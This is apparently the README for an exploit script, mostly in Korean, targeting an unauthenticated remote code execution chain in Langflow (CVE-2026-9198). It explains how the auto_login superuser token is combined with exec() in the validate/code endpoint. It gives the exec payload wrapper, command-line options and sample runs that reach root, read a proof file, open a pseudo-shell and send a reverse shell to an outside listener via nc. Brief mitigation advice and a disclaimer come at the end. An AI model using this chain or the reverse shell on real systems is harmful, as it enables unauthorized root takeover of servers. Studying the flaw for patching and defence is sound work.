
기본 배포 환경에서 IBM Langflow OSS (1.0.0 – 1.10.0)의 인증 없는 원격 코드 실행 취약점입니다. 두 가지 결함을 연쇄적으로 악용합니다:
AUTO_LOGIN이 활성화된 경우(Langflow < 1.5의 기본값) GET /api/v1/auto_login은 자격 증명이 없는 호출자에게도 SUPERUSER JWT를 발급합니다.POST /api/v1/validate/code는 사용자가 제공한 Python 코드를 샌드박스 없이 exec()로 전달합니다.이 둘을 함께 사용하면(CVE-2026-9198) 인증 없는 공격자가 Langflow 서비스 사용자(대개 root) 권한으로 코드 실행을 달성할 수 있습니다.
/api/v1/auto_login에서 슈퍼유저 베어러 토큰을 요청합니다(인증 없음).
/api/v1/validate/code에 페이로드를 제출합니다. 엔드포인트는 코드를 "검증"하기 위해 exec()를 실행합니다. Python은 정의 시점에 기본 인자 값을 평가하므로 페이로드는 함수 기본 인자로 감싸집니다:
def _v(a=exec('<payload>')): pass
명령 실행을 위해 페이로드는 명령 출력을 메시지로 하는 예외를 발생시키며, 엔드포인트는 이를 응답(function.errors[])에 그대로 반영합니다.
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install 불필요)AUTO_LOGIN이 활성화된 경우에만 동작합니다(Langflow < 1.5의 기본값이고, >= 1.5에서는 LANGFLOW_AUTO_LOGIN=true로 명시적으로 설정해야 함). auto_login이 토큰을 반환하지 않으면 이 경로로는 대상을 익스플로잇할 수 없습니다 — 유효한 토큰이 있다면 -k 옵션으로 제공하세요.function.errors[]로 반환됩니다. stderr는 stdout에 병합되므로 실패한 명령도 오류를 표시합니다.root인 경우(systemd나 Docker-as-root 환경에서 단순히 langflow run으로 실행할 때 흔한 경우) 이는 곧 호스트 루트 권한 획득을 의미합니다.validate/code는 신뢰할 수 없는 입력을 exec()로 실행해서는 안 되며, auto_login은 슈퍼유저 토큰을 발급해서는 안 됩니다.LANGFLOW_AUTO_LOGIN=false로 설정하고 실제 슈퍼유저 자격 증명을 구성하세요.root로 실행하지 마세요.이 프로젝트는 승인된 보안 테스트 및 교육 목적으로만 공개되었습니다. 소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에는 사용하지 마십시오. 저자는 오용에 대한 책임을 지지 않습니다.